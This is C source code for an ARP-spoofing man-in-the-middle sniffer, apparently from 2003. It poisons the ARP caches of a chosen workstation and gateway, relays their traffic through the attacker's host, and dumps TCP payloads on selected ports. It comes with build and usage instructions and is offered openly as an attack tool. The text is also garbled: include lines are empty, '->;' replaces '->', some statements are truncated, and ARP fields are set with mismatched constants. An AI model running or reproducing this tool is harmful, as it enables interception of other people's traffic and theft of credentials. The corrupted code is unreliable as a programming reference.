Coder: Paris-ye
Released on: 1/9/2003
Test on: redhat 9.0
Information:
This is a arp spoof sniffer.
W <--- workstation
B <--- Server or GateWay
M <--- Man in the middle (agent),self IP address
Make:
first you must install "pcap" and "libnet"
gcc -I/usr/local/include -L/usr/local/lib -o sniffer sniffer.c -lpcap -lnet
Usage:
./sniffer -I [Interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
============================================================================*/
#include
#include
#include
#include
#include
#define MAXBUF 1024*4
#define PCAP_TOUT 5
#define PROMISC 0
#define TRUE 1
#define FALSE 0
/* Ethernet protocol ID's */
#define ETHERTYPE_PUP 0x0200 /* Xerox PUP */
#define ETHERTYPE_IP 0x0800 /* IP */
#define ETHERTYPE_ARP 0x0806 /* Address resolution */
#define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */
/* This structure defines an ethernet arp header. */
/* ARP protocol opcodes. */
#define ARPOP_REQUEST 1 /* ARP request. */
#define ARPOP_REPLY 2 /* ARP reply. */
#define ARPOP_RREQUEST 3 /* RARP request. */
#define ARPOP_RREPLY 4 /* RARP reply. */
#define ARPOP_InREQUEST 8 /* InARP request. */
#define ARPOP_InREPLY 9 /* InARP reply. */
#define ARPOP_NAK 10 /* (ATM)ARP NAK. */
/* ARP protocol HARDWARE identifiers. */
#define ARPHRD_NETROM 0 /* From KA9Q: NET/ROM pseudo. */
#define ARPHRD_ETHER 1 /* Ethernet 10/100Mbps. */
#define ARPHRD_EETHER 2 /* Experimental Ethernet. */
#define ARPHRD_AX25 3 /* AX.25 Level 2. */
#define ARPHRD_PRONET 4 /* PROnet token ring. */
#define ARPHRD_CHAOS 5 /* Chaosnet. */
#define ARPHRD_IEEE802 6 /* IEEE 802.2 Ethernet/TR/TB. */
#define ARPHRD_ARCNET 7 /* ARCnet. */
#define ARPHRD_APPLETLK 8 /* APPLEtalk. */
#define ARPHRD_DLCI 15 /* Frame Relay DLCI. */
#define ARPHRD_ATM 19 /* ATM. */
#define ARPHRD_METRICOM 23 /* Metricom STRIP (new IANA id). */
/* Dummy types for non ARP hardware */
#define ARPHRD_SLIP 0x256
#define ARPHRD_CSLIP 0x257
#define ARPHRD_SLIP6 0x258
#define ARPHRD_CSLIP6 0x259
#define ARPHRD_RSRVD 0x260 /* Notional KISS type. */
#define ARPHRD_ADAPT 0x264
#define ARPHRD_ROSE 0x270
#define ARPHRD_X25 0x271 /* CCITT X.25. */
#define ARPHDR_HWX25 0x272 /* Boards with X.25 in firmware. */
#define ARPHRD_PPP 0x512
#define ARPHRD_CISCO 0x513 /* Cisco HDLC. */
#define ARPHRD_HDLC ARPHRD_CISCO
#define ARPHRD_LAPB 0x516 /* LAPB. */
#define ARPHRD_DDCMP 0x517 /* Digital's DDCMP. */
#define ARPHRD_RAWHDLC 0x518 /* Raw HDLC. */
#define ARPHRD_TUNNEL 0x768 /* IPIP tunnel. */
#define ARPHRD_TUNNEL6 0x769 /* IPIP6 tunnel. */
#define ARPHRD_FRAD 0x770 /* Frame Relay Access Device. */
#define ARPHRD_SKIP 0x771 /* SKIP vif. */
#define ARPHRD_LOOPBACK 0x772 /* Loopback device. */
#define ARPHRD_LOCALTLK 0x773 /* Localtalk device. */
#define ARPHRD_FDDI 0x774 /* Fiber Distributed Data Interface. */
#define ARPHRD_BIF 0x775 /* AP1000 BIF. */
#define ARPHRD_SIT 0x776 /* sit0 device - IPv6-in-IPv4. */
#define ARPHRD_IPDDP 0x777 /* IP-in-DDP tunnel. */
#define ARPHRD_IPGRE 0x778 /* GRE over IP. */
#define ARPHRD_PIMREG 0x779 /* PIMSM register interface. */
#define ARPHRD_HIPPI 0x780 /* High Performance Parallel I'face. */
#define ARPHRD_ASH 0x781 /* (Nexus Electronics) Ash. */
#define ARPHRD_ECONET 0x782 /* Acorn Econet. */
#define ARPHRD_IRDA 0x783 /* Linux-IrDA. */
#define ARPHRD_FCPP 0x784 /* Point to point fibrechanel. */
#define ARPHRD_FCAL 0x785 /* Fibrechanel arbitrated loop. */
#define ARPHRD_FCPL 0x786 /* Fibrechanel public loop. */
#define ARPHRD_FCPFABRIC 0x787 /* Fibrechanel fabric. */
#define ARPHRD_IEEE802_TR 0x800 /* Magic type ident for TR. */
#define ARPHRD_IEEE80211 0x801 /* IEEE 802.11. */
/* IP version number */
#define IPVERSION 4
struct ether_header
{
u_int8_t ether_dhost[6]; /* destination eth addr */
u_int8_t ether_shost[6]; /* source ether addr */
u_int16_t ether_type; /* packet type ID field */
};
struct arphdr
{
unsigned short int ar_hrd; /* Format of hardware address. */
unsigned short int ar_pro; /* Format of protocol address. */
unsigned char ar_hln; /* Length of hardware address. */
unsigned char ar_pln; /* Length of protocol address. */
unsigned short int ar_op; /* ARP opcode (command). */
unsigned char __ar_sha[6]; /* Sender hardware address. */
unsigned char __ar_sip[4]; /* Sender IP address. */
unsigned char __ar_tha[6]; /* Target hardware address. */
unsigned char __ar_tip[4]; /* Target IP address. */
};
/*
* Structure of an internet header, naked of options.
*/
struct iphead
{
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
u_char ip_src[4], ip_dst[4]; /* source and dest address */
};
struct tcphead
{
u_int16_t th_sport; /* source port */
u_int16_t th_dport; /* destination port */
u_int32_t th_seq; /* sequence number */
u_int32_t th_ack; /* acknowledgement number */
u_int8_t th_off:4; /* data offset */
u_int8_t th_x2:4; /* (unused) */
u_int8_t th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
u_int16_t th_win; /* window */
u_int16_t th_sum; /* checksum */
u_int16_t th_urp; /* urgent pointer */
};
/*
* W , S , M 's ip and mac address
*/
struct ipmacaddr
{
u_char ipW[4];
u_char macW[6];
u_char ipS[4];
u_char macS[6];
u_char ipM[4];
u_char macM[6];
};
int usage(char* argv)
{
printf("====================================\n");
printf("============Arp Sniffer=============\n");
printf("==========Write by Paris-Ye=========\n");
printf("===Usage: %s -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]\n", argv);
printf("===For example:\n");
printf("\t%s -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254\n",argv);
return 0;
}
/*send arp packet function*/
int arpsend(libnet_t* lnet,u_char* smac,u_char* sip,u_char* dmac,u_char* dip)
{
int ret=0;
u_char* packet;
u_long packets;
libnet_ptag_t t;
struct ether_header* ethh;
struct arphdr* arph;
packets=sizeof(struct ether_header)+sizeof(struct arphdr);
packet = malloc(packets);
ethh = (struct ether_header* ) packet;
arph = (struct arphdr* ) (packet+sizeof(struct ether_header));
memcpy(ethh->;ether_dhost,dmac,6);
memcpy(ethh->;ether_shost,smac,6);
ethh->;ether_type = htons(ETHERTYPE_ARP);
arph->;ar_hrd = htons(ARPOP_REQUEST);
arph->;ar_pro = htons(ARPHRD_IEEE802_TR);
arph->;ar_hln = 6;
arph->;ar_pln = 4;
arph->;ar_op = htons(ARPHRD_ETHER);
memcpy(arph->;__ar_sha,smac,6);
memcpy(arph->;__ar_sip,sip,4);
bzero(arph->;__ar_tha,6);
memcpy(arph->;__ar_tip,dip,4);
ret = libnet_write_link(
lnet,
packet,
packets
);
if(ret == -1)
{
return FALSE;
}
return TRUE;
}
/*Send spoof arp S And W every 6 second interval*/
void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac)
{
while(TRUE)
{
arpsend(lnet,ipmac->;macM,ipmac->;ipS,ipmac->;macW,ipmac->;ipW);
arpsend(lnet,ipmac->;macM,ipmac->;ipW,ipmac->;macS,ipmac->;ipS);
sleep(6);
}
}
/*Forward packets W--->;S or S--->;W*/
int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM)
{
int ret=0;
const u_char* datapoint=packet;
struct ether_header* ethhdr;
struct iphead* iph;
ethhdr = (struct ether_header*) datapoint;
if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP)
return TRUE;
if(!memcmp(ethhdr->;ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/
return TRUE;
if(memcmp(ethhdr->;ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/
return TRUE;
if(!memcmp(ethhdr->;ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/
{
memcpy(ethhdr->;ether_shost,macM,6);
memcpy(ethhdr->;ether_dhost,macS,6);
ret = libnet_write_link(
lnet,
(u_char*)datapoint,
len
);
}
if(!memcmp(ethhdr->;ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/
{
memcpy(ethhdr->;ether_shost,macM,6);
memcpy(ethhdr->;ether_dhost,macW,6);
ret = libnet_write_link(
lnet,
(u_char*)datapoint,
len
);
}
return TRUE;
}
/*print hex date to Ascii */
void printdat(u_char* packet,int len)
{
int i=0,j=0;
u_char str[16];
for(i=0;i<=len-16;i+=16)
{
memcpy(str,packet+i,16);
fprintf(stdout,"%02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x ",
str[0],str[1],str[2],str[3],
str[4],str[5],str[6],str[7],
str[8],str[9],str[10],str[11],
str[12],str[13],str[14],str[15]
);
for(j=0;j<16;j++)
{
if(str[j] < 32 || str[j] >; 126)
str[j]='.';
}
fprintf(stdout,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
str[0],str[1],str[2],str[3],
str[4],str[5],str[6],str[7],
str[8],str[9],str[10],str[11],
str[12],str[13],str[14],str[15]
);
}
if(i!=len)
{
memcpy(str,packet+i,16);
for(j=0;j<16;j++)
{
if(j%4==0 && j!=0)
fprintf(stdout," ");
if((i+j)
fprintf(stdout,"%02x",str[j]);
}
else
fprintf(stdout," ");
}
fprintf(stdout," ");
for(j=0;j<16;j++)
{
if((i+j)
if(str[j] < 32 || str[j] >; 126)
str[j]='.';
fprintf(stdout,"%c",str[j]);
}
}
fprintf(stdout,"\n\n");
}
}
/*parse packet*/
int parsedate(const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM,u_char* ipW,u_char* ipS,int* port)
{
int i=0;
int contents;
u_char* content;
const u_char* datapoint=packet;
struct ether_header* ethhdr;
struct iphead* iph;
struct tcphead* tcph;
ethhdr = (struct ether_header*) datapoint;
iph = (struct iphead*) (datapoint+sizeof(struct ether_header));
tcph = (struct tcphead*) (datapoint+sizeof(struct ether_header)+sizeof(struct iphead));
if(memcmp(ethhdr->;ether_shost,macW,6) && memcmp(ethhdr->;ether_shost,macS,6))
return FALSE;
if(memcmp(ethhdr->;ether_dhost,macM,6))
return FALSE;
if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP)
return FALSE;
if(iph->;ip_v != 4 || iph->;ip_hl != 5)
return FALSE;
if(!(!memcmp(iph->;ip_dst,ipW,4) || !memcmp(iph->;ip_src,ipW,4)))
return FALSE;
if(iph->;ip_p != IPPROTO_TCP)
return FALSE;
contents = htons(iph->;ip_len)-sizeof(struct iphead)-sizeof(struct tcphead);
content = (u_char *)(datapoint+sizeof(struct ether_header)+sizeof(struct iphead)+sizeof(struct tcphead));
if((tcph->;th_flags & TH_PUSH))
{
for(i==0;port!=0;i++)
{
printf("=====%d %d\n",port,htons(tcph->;th_dport));
if(port==htons(tcph->;th_dport) || port==htons(tcph->;th_sport))
break;
}
if(port==0)
return;
printf("Size:[%d] [%d.%d.%d.%d:%d]->;[%d.%d.%d.%d:%d]\n",htons(iph->;ip_len),
iph->;ip_src[0],iph->;ip_src[1],iph->;ip_src[2],iph->;ip_src[3],htons(tcph->;th_sport),
iph->;ip_dst[0],iph->;ip_dst[1],iph->;ip_dst[2],iph->;ip_dst[3],htons(tcph->;th_dport)
);
printdat(content,contents);
}
return TRUE;
}
/*Sniffer packets*/
int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port)
{
const u_char* packet;
struct pcap_pkthdr hdr;
while(1)
{
packet=pcap_next(lpcap,&hdr);
if(packet==NULL || hdr.len==0)
continue;
parsedate(packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM,ipmac->;ipW,ipmac->;ipS,port);
forwarddate(lnet,packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM);
}
return TRUE;
}
/*
When initialize Get the S and W Mac address
Send arp request
*/
int gettargetmac(libnet_t* lnet,struct ipmacaddr* ipmac)
{
while(1)
{
arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macW,ipmac->;ipW);
arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macS,ipmac->;ipS);
sleep(1);
}
return TRUE;
}
/*
When initialize Get the S and W Mac address
parse arp reply
*/
int getmacaddress(char* dev,libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac)
{
int skfd=0;
unsigned int isgetmac=0x0;
pid_t pid=0;
struct ifreq ifr;
const u_char* packet;
struct pcap_pkthdr hdr;
struct ether_header* ethhdr;
struct arphdr* arph;
//----------get local mac adrress
strcpy(ifr.ifr_name,dev);
skfd = socket(AF_INET,SOCK_DGRAM,0);
if(skfd<0)
{
printf("Can't open socket!\n");
return FALSE;
}
if(ioctl(skfd, SIOCGIFHWADDR, &ifr) < 0)
{
printf("Can't read local mac address!\n");
return FALSE;
}
memcpy(ipmac->;macM,ifr.ifr_hwaddr.sa_data,6);
close(skfd);
//----------get target mac address
pid = fork();
if(pid==0)
{
gettargetmac(lnet,ipmac);
exit(TRUE);
}
while(1)
{
packet=pcap_next(lpcap,&hdr);
if(packet==NULL || hdr.len==0)
continue;
ethhdr = (struct ether_header*) packet;
arph = (struct arphdr*) (packet+sizeof(struct ether_header));
if(memcmp(ethhdr->;ether_dhost,ipmac->;macM,6))
continue;
if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_ARP)
continue;
if(!memcmp(arph->;__ar_sip,ipmac->;ipW,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4))
{
memcpy(ipmac->;macW,arph->;__ar_sha,6);
isgetmac=0xFFFF0000 | isgetmac;
}
if(!memcmp(arph->;__ar_sip,ipmac->;ipS,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4))
{
memcpy(ipmac->;macS,arph->;__ar_sha,6);
isgetmac=0x0000FFFF | isgetmac;
}
if(isgetmac == 0xFFFFFFFF)
break;
}
kill(pid,9);
return TRUE;
}
int main(int argc,char* argv[])
{
int ret=0,i=0;
char *p,*s;
char c;
char string[]="I:M:W:S:P:";
int port[100];
char dev[32]="";
struct ipmacaddr ipmac;
pid_t pid;
libnet_t* lnet;
pcap_t* lpcap;
bpf_u_int32 netp,maskp;
struct bpf_program fp;
char err[PCAP_ERRBUF_SIZE];
char filterstr[]="";
unsigned int ipM;
unsigned int ipW;
unsigned int ipS;
u_char macW[] = {255,255,255,255,255,255,255};
u_char macS[] = {255,255,255,255,255,255,255};
u_char macM[] = {255,255,255,255,255,255,255};
bzero(&ipmac,sizeof(struct ipmacaddr));
if(argc<8)
{
usage(argv[0]);
return FALSE;
}
while((c = getopt(argc, argv, string)) != EOF)
{
switch(c)
{
case('I'):
strcpy(dev,optarg);
break;
case('M'):
ipM = inet_addr(optarg);
memcpy(ipmac.ipM,(void*)&ipM,4);
break;
case('W'):
ipW = inet_addr(optarg);
memcpy(ipmac.ipW,(void*)&ipW,4);
break;
case('S'):
ipS = inet_addr(optarg);
memcpy(ipmac.ipS,(void*)&ipS,4);
break;
case('P'):
printf("%s\n",optarg);
s = optarg;
p=strtok(s,":");
while(p)
{
port=atoi(p);
printf("%d\n",port);
p=strtok(NULL,":");
i++;
}
port=0;
break;
default:
usage(argv[0]);
return FALSE;
}
}
memcpy(ipmac.macW,macW,6);
memcpy(ipmac.macS,macS,6);
memcpy(ipmac.macM,macM,6);
ret = pcap_lookupnet(dev,&netp,&maskp,err);
if(ret == -1)
{
printf("Can't initialize PCAP![%s]\n",err);
return FALSE;
}
lpcap = pcap_open_live(
dev,
MAXBUF,
PROMISC,
PCAP_TOUT,
err
);
if(lpcap == NULL)
{
printf("Can't initialize PCAP![%s]\n",err);
return FALSE;
}
ret = pcap_compile(lpcap,&fp,filterstr,0,netp);
if(ret == -1)
{
printf("Error pcap_compile!\n");
return FALSE;
}
ret = pcap_setfilter(lpcap,&fp);
if(ret == -1)
{
printf("Error pcap_setfilter!\n");
return FALSE;
}
lnet = libnet_init(
LIBNET_LINK,
dev,
err);
if(lnet == NULL)
{
printf("Can't initialize libnet!Please check the [dev]\n");
return FALSE;
}
ret = getmacaddress(dev,lnet,lpcap,&ipmac);
printf("Get network cards mac address:\n");
printf("M->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macM[0],ipmac.macM[1],ipmac.macM[2],ipmac.macM[3],ipmac.macM[4],ipmac.macM[5],ipmac.macM[6]);
printf("W->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macW[0],ipmac.macW[1],ipmac.macW[2],ipmac.macW[3],ipmac.macW[4],ipmac.macW[5],ipmac.macW[6]);
printf("S->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macS[0],ipmac.macS[1],ipmac.macS[2],ipmac.macS[3],ipmac.macS[4],ipmac.macS[5],ipmac.macS[6]);
printf("\nNow Start... .. .\n");
if(ret == FALSE)
{
return FALSE;
}
pid = fork();
if(pid==0)
{
arpspoof(lnet,&ipmac);
return FALSE;
}else
{
agentpacket(lnet,lpcap,&ipmac,port);
}
libnet_destroy(lnet);
pcap_close(lpcap);
printf("Done\n");
return TRUE;
}